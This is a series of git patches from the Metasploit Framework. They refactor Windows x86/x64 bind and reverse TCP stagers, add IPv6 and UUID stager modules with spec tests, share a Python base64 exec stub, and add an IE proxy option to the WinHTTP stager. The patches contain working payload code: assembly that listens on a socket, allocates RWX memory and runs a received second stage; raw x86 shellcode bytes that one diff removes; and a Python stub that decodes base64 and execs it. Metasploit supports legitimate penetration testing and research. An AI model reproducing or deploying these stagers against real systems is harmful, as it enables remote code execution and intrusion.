; set the pointer to sockaddr_in struct mov rcx, rdi ; socket - mov r10d, 0x6737DBC2 ; hash( "ws2_32.dll", "bind" ) - call rbp ; bind( s, &sockaddr_in, 16 ); + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')} + call rbp ; bind( s, &sockaddr_in, #{sockaddr_size} ); + ; perform the call to listen... xor rdx, rdx ; backlog mov rcx, rdi ; socket - mov r10d, 0xFF38E9B7 ; hash( "ws2_32.dll", "listen" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'listen')} call rbp ; listen( s, 0 ); + ; perform the call to accept... xor r8, r8 ; we set length for the sockaddr struct to zero xor rdx, rdx ; we dont set the optional sockaddr param mov rcx, rdi ; listening socket - mov r10d, 0xE13BEC74 ; hash( "ws2_32.dll", "accept" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'accept')} call rbp ; accept( s, 0, 0 ); + ; perform the call to closesocket... mov rcx, rdi ; the listening socket to close mov rdi, rax ; swap the new connected socket over the listening socket - mov r10d, 0x614D6E75 ; hash( "ws2_32.dll", "closesocket" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} call rbp ; closesocket( s ); + ; restore RSP so we dont have any alignment issues with the next block... - add rsp, #{408+8+8*4+32*7} ; cleanup the stack allocations + add rsp, #{stack_alloc} ; cleanup the stack allocations ^ asm << asm_send_uuid if include_send_uuid @@ -172,9 +214,10 @@ module Payload::Windows::BindTcp_x64 push 4 ; pop r8 ; length = sizeof( DWORD ); mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, &dwLength, 4, 0 ); add rsp, 32 ; we restore RSP from the api_call so we can pop off RSI next + ; Alloc a RWX buffer for the second stage pop rsi ; pop off the second stage length push 0x40 ; @@ -183,18 +226,21 @@ module Payload::Windows::BindTcp_x64 pop r8 ; MEM_COMMIT mov rdx, rsi ; the newly recieved second stage length. xor rcx, rcx ; NULL as we dont care where the allocation is. - mov r10d, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... mov rbx, rax ; rbx = our new memory address for the new stage mov r15, rax ; save the address so we can jump into it later + read_more: ; xor r9, r9 ; flags mov r8, rsi ; length mov rdx, rbx ; the current address into our second stages RWX buffer mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} call rbp ; recv( s, buffer, length, 0 ); + add rbx, rax ; buffer += bytes_received sub rsi, rax ; length -= bytes_received test rsi, rsi ; test length diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp.rb b/lib/msf/core/payload/windows/x64/reverse_tcp.rb index 9101a147e1..6be0bfdd1b 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp.rb @@ -90,6 +90,8 @@ module Payload::Windows::ReverseTcp_x64 # Reliability adds 10 bytes for recv error checks space += 10 + space += uuid_required_size if include_send_uuid + # The final estimated size space end diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb index b953425090..8693109e95 100644 --- a/lib/msf/core/payload/windows/x64/send_uuid.rb +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -40,6 +40,16 @@ module Payload::Windows::SendUUID_x64 asm end + def uuid_required_size + # Start with the number of bytes required for the instructions + space = 25 + + # a UUID is 16 bytes + space += 16 + + space + end + end end diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb index aabb84b75c..10aeea1af4 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp.rb @@ -6,14 +6,14 @@ require 'msf/core' require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' - -module Metasploit3 +module Metasploit4 CachedSize = 285 include Msf::Payload::Stager - include Msf::Payload::Windows + include Msf::Payload::Windows::BindTcp def self.handler_type_alias "bind_ipv6_tcp" @@ -21,43 +21,20 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Bind TCP Stager (IPv6)', - 'Description' => 'Listen for a connection over IPv6', - 'Author' => ['hdm', 'skape'], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::BindTcp, - 'Convention' => 'sockedi', - 'Stager' => - { - 'Offsets' => - { - 'LPORT' => [ 192, 'n' ], - }, - # Technically this is the same as bind_tcp, but has been duplicated for - # backwards compatibility with tools that expect this payload name. - 'Payload' => - "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" + - "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" + - "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" + - "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" + - "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" + - "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" + - "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" + - "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" + - "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77" + - "\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00" + - "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x6A\x08\x59\x50\xE2" + - "\xFD\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x68\x02\x00" + - "\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB\x37\x67\xFF\xD5\x57" + - "\x68\xB7\xE9\x38\xFF\xFF\xD5\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57" + - "\x97\x68\x75\x6E\x4D\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" + - "\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" + - "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" + - "\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\xC3" - } - )) + 'Name' => 'Bind IPv6 TCP Stager (Windows x86)', + 'Description' => 'Listen for an IPv6 connection (Windows x86)', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true end end diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..8401c8d861 --- /dev/null +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,45 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/bind_tcp' + +module Metasploit4 + + CachedSize = 285 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp + + def self.handler_type_alias + "bind_ipv6_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Bind IPv6 TCP Stager with UUID Support (Windows x86)', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x86)', + 'Author' => ['hdm', 'skape', 'sf'], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end + diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb new file mode 100644 index 0000000000..27ac40863d --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 479 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + "bind_ipv6_tcp" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 IPv6 Bind TCP Stager', + 'Description' => 'Listen for an IPv6 connection (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + +end + diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb new file mode 100644 index 0000000000..25be549fe8 --- /dev/null +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -0,0 +1,45 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/core/payload/windows/x64/bind_tcp' + +module Metasploit4 + + CachedSize = 479 + + include Msf::Payload::Stager + include Msf::Payload::Windows::BindTcp_x64 + + def self.handler_type_alias + "bind_ipv6_tcp_uuid" + end + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows x64 IPv6 Bind TCP Stager with UUID Support', + 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x64)', + 'Author' => [ 'sf' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockrdi', + 'Stager' => { 'RequiresMidstager' => false } + )) + end + + def use_ipv6 + true + end + + def include_send_uuid + true + end + +end + + From e103b2365aaa3e0e39fdd2a48c023135c6c0abe9 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 11:31:15 +1000 Subject: [PATCH 0174/1013] Update payload sizes and add new payloads to spec --- .../stagers/windows/bind_ipv6_tcp_uuid.rb | 2 +- .../stagers/windows/x64/bind_ipv6_tcp.rb | 2 +- .../stagers/windows/x64/bind_ipv6_tcp_uuid.rb | 2 +- .../payloads/stagers/windows/x64/bind_tcp.rb | 2 +- .../stagers/windows/x64/bind_tcp_uuid.rb | 2 +- spec/modules/payloads_spec.rb | 33 +++++++++++++++++++ 6 files changed, 38 insertions(+), 5 deletions(-) diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb index 8401c8d861..b0a0907882 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -10,7 +10,7 @@ require 'msf/core/payload/windows/bind_tcp' module Metasploit4 - CachedSize = 285 + CachedSize = 318 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb index 27ac40863d..3e2b01bdd6 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 479 + CachedSize = 483 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb index 25be549fe8..a23f337148 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 479 + CachedSize = 524 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp.rb b/modules/payloads/stagers/windows/x64/bind_tcp.rb index b7dec4b64c..547e323d9f 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 479 + CachedSize = 481 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index ee698c5933..ab3402808d 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/bind_tcp' module Metasploit4 - CachedSize = 520 + CachedSize = 522 include Msf::Payload::Stager include Msf::Payload::Windows::BindTcp_x64 diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 0348f2e3a4..998d3fccad 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -2642,6 +2642,17 @@ describe 'modules/payloads', :content do reference_name: 'windows/meterpreter/bind_ipv6_tcp' end + context 'windows/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/bind_ipv6_tcp_uuid', + 'stages/windows/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/meterpreter/bind_ipv6_tcp_uuid' + end + context 'windows/meterpreter/bind_nonx_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ @@ -3656,6 +3667,28 @@ describe 'modules/payloads', :content do reference_name: 'windows/x64/loadlibrary' end + context 'windows/x64/meterpreter/bind_ipv6_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_ipv6_tcp', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp' + end + + context 'windows/x64/meterpreter/bind_ipv6_tcp_uuid' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'stagers/windows/x64/bind_ipv6_tcp_uuid', + 'stages/windows/x64/meterpreter' + ], + dynamic_size: false, + modules_pathname: modules_pathname, + reference_name: 'windows/x64/meterpreter/bind_ipv6_tcp_uuid' + end + context 'windows/x64/meterpreter/bind_tcp' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [ From 43f7054a5c1bbd9ca1974f21905a6c5d71d1fe9d Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 11:51:01 +1000 Subject: [PATCH 0175/1013] Refactor base64 stub into base module As per @zeroSteiner's suggestion. --- lib/msf/core/payload/python.rb | 17 +++++++++++++++++ lib/msf/core/payload/python/bind_tcp.rb | 8 ++------ lib/msf/core/payload/python/reverse_tcp.rb | 8 ++------ 3 files changed, 21 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index 383b3694a9..c2bae66e02 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -3,4 +3,21 @@ require 'msf/core' module Msf::Payload::Python + # + # Encode the given python command in base64 and wrap it with a stub + # that will decode and execute it on the fly. + # + # @param cmd [String] The python code to execute. + # @return [String] Full python stub to execute the command. + # + def py_create_exec_stub(cmd) + # Base64 encoding is required in order to handle Python's formatting + # requirements in the while loop + b64_stub = "import base64,sys;exec(base64.b64decode(" + b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" + b64_stub << Rex::Text.encode_base64(cmd) + b64_stub << "')))" + b64_stub + end + end diff --git a/lib/msf/core/payload/python/bind_tcp.rb b/lib/msf/core/payload/python/bind_tcp.rb index ff63f914b4..b6afbaa1b5 100644 --- a/lib/msf/core/payload/python/bind_tcp.rb +++ b/lib/msf/core/payload/python/bind_tcp.rb @@ -13,6 +13,7 @@ module Msf module Payload::Python::BindTcp + include Msf::Payload::Python include Msf::Payload::Python::SendUUID # @@ -52,12 +53,7 @@ module Payload::Python::BindTcp cmd << "\td+=s.recv(l-len(d))\n" cmd << "exec(d,{'s':s})\n" - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - b64_stub + py_create_exec_stub(cmd) end def handle_intermediate_stage(conn, payload) diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index 1f263f9003..c693829829 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -13,6 +13,7 @@ module Msf module Payload::Python::ReverseTcp + include Msf::Payload::Python include Msf::Payload::Python::SendUUID # @@ -52,12 +53,7 @@ module Payload::Python::ReverseTcp cmd << "\td+=s.recv(l-len(d))\n" cmd << "exec(d,{'s':s})\n" - # Base64 encoding is required in order to handle Python's formatting requirements in the while loop - b64_stub = "import base64,sys;exec(base64.b64decode(" - b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('" - b64_stub << Rex::Text.encode_base64(cmd) - b64_stub << "')))" - b64_stub + py_create_exec_stub(cmd) end def handle_intermediate_stage(conn, payload) From 7f59a7482efeefe3ee688cb921862b1ecc4a1152 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 12:02:52 +1000 Subject: [PATCH 0176/1013] Update authors and stuff --- modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb | 2 +- modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb | 5 +++-- modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb | 4 ++-- modules/payloads/stagers/php/bind_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/php/reverse_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/bind_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/reverse_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb | 4 ++-- modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb | 2 +- 11 files changed, 16 insertions(+), 15 deletions(-) diff --git a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb index ee806bcde8..6ee52b7a80 100644 --- a/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb @@ -22,7 +22,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind TCP Stager with UUID Support (Linux x86)', 'Description' => 'Listen for a connection with UUID Support (Linux x86)', - 'Author' => [ 'skape', 'egypt' ], + 'Author' => [ 'skape', 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index f31c72d104..fa08274121 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -23,12 +23,13 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Reverse TCP Stager', 'Description' => 'Connect back to the attacker', - 'Author' => [ 'skape', 'egypt' ], + 'Author' => [ 'skape', 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, - 'Stager' => { 'Payload' => '' })) + 'Stager' => { 'Payload' => '' } + )) end # diff --git a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb index 1b48521d2c..9ef4a17a0a 100644 --- a/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb @@ -22,13 +22,13 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind TCP Stager IPv6 with UUID Support', 'Description' => 'Listen for a connection over IPv6 with UUID Support', - 'Author' => ['egypt'], + 'Author' => [ 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Handler' => Msf::Handler::BindTcp, 'Stager' => { 'Payload' => "" } - )) + )) end def use_ipv6 diff --git a/modules/payloads/stagers/php/bind_tcp_uuid.rb b/modules/payloads/stagers/php/bind_tcp_uuid.rb index 1ba9da4899..e31bd5a8ce 100644 --- a/modules/payloads/stagers/php/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/php/bind_tcp_uuid.rb @@ -22,13 +22,13 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind TCP Stager with UUID Support', 'Description' => 'Listen for a connection with UUID Support', - 'Author' => ['egypt'], + 'Author' => [ 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Handler' => Msf::Handler::BindTcp, 'Stager' => { 'Payload' => "" } - )) + )) end def include_send_uuid diff --git a/modules/payloads/stagers/php/reverse_tcp_uuid.rb b/modules/payloads/stagers/php/reverse_tcp_uuid.rb index 91c2de5a5d..9cf8fbed77 100644 --- a/modules/payloads/stagers/php/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/php/reverse_tcp_uuid.rb @@ -22,7 +22,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'PHP Reverse TCP Stager', 'Description' => 'Reverse PHP connect back stager with checks for disabled functions', - 'Author' => 'egypt', + 'Author' => [ 'egypt', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb index b0a0907882..955625dd12 100644 --- a/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb @@ -23,7 +23,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind IPv6 TCP Stager with UUID Support (Windows x86)', 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x86)', - 'Author' => ['hdm', 'skape', 'sf'], + 'Author' => [ 'hdm', 'skape', 'sf', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stagers/windows/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/bind_tcp_uuid.rb index e95e507495..bb8326d4f1 100644 --- a/modules/payloads/stagers/windows/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/bind_tcp_uuid.rb @@ -23,7 +23,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind TCP Stager with UUID Support (Windows x86)', 'Description' => 'Listen for a connection with UUID Support (Windows x86)', - 'Author' => ['OJ Reeves'], + 'Author' => [ 'hdm', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb index f0617111d1..c77c5d056a 100644 --- a/modules/payloads/stagers/windows/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/reverse_tcp_uuid.rb @@ -23,7 +23,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Reverse TCP Stager with UUID Support', 'Description' => 'Connect back to the attacker with UUID Support', - 'Author' => ['OJ Reeves'], + 'Author' => [ 'hdm', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86, diff --git a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb index a23f337148..dfdd4ce73c 100644 --- a/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb @@ -22,14 +22,14 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Windows x64 IPv6 Bind TCP Stager with UUID Support', 'Description' => 'Listen for an IPv6 connection with UUID Support (Windows x64)', - 'Author' => [ 'sf' ], + 'Author' => [ 'sf', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86_64, 'Handler' => Msf::Handler::BindTcp, 'Convention' => 'sockrdi', 'Stager' => { 'RequiresMidstager' => false } - )) + )) end def use_ipv6 diff --git a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb index ab3402808d..00966f3d82 100644 --- a/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb @@ -22,7 +22,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Bind TCP Stager with UUID Support (Windows x64)', 'Description' => 'Listen for a connection with UUID Support (Windows x64)', - 'Author' => [ 'sf' ], + 'Author' => [ 'sf', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86_64, diff --git a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb index a71fa5be83..8c21b7ffe1 100644 --- a/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb @@ -22,7 +22,7 @@ module Metasploit4 super(merge_info(info, 'Name' => 'Reverse TCP Stager with UUID Support (Windows x64)', 'Description' => 'Connect back to the attacker with UUID Support (Windows x64)', - 'Author' => ['OJ Reeves'], + 'Author' => [ 'sf', 'OJ Reeves' ], 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X86_64, From 78176c4335cbd8cb9c6983df7ed0db221ca3fade Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 15:44:35 +1000 Subject: [PATCH 0177/1013] First pass of IE proxy support for winhttp x86 --- .../core/payload/windows/reverse_winhttp.rb | 148 +++++++++++++++++- 1 file changed, 141 insertions(+), 7 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index bfd9d130fe..723c7d0aaf 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -19,6 +19,16 @@ module Payload::Windows::ReverseWinHttp include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp + # + # Register reverse_http specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # @@ -27,13 +37,14 @@ module Payload::Windows::ReverseWinHttp ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + uri: generate_small_uri, + retry_count: datastore['StagerRetryCount'], + proxy_ie: datastore['PayloadProxyIE'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -41,7 +52,6 @@ module Payload::Windows::ReverseWinHttp conf[:proxy_user] = datastore['PayloadProxyUser'] conf[:proxy_pass] = datastore['PayloadProxyPass'] conf[:proxy_type] = datastore['PayloadProxyType'] - conf[:retry_count] = datastore['StagerRetryCount'] end generate_reverse_winhttp(conf) @@ -105,7 +115,7 @@ module Payload::Windows::ReverseWinHttp # Generate an assembly stub with 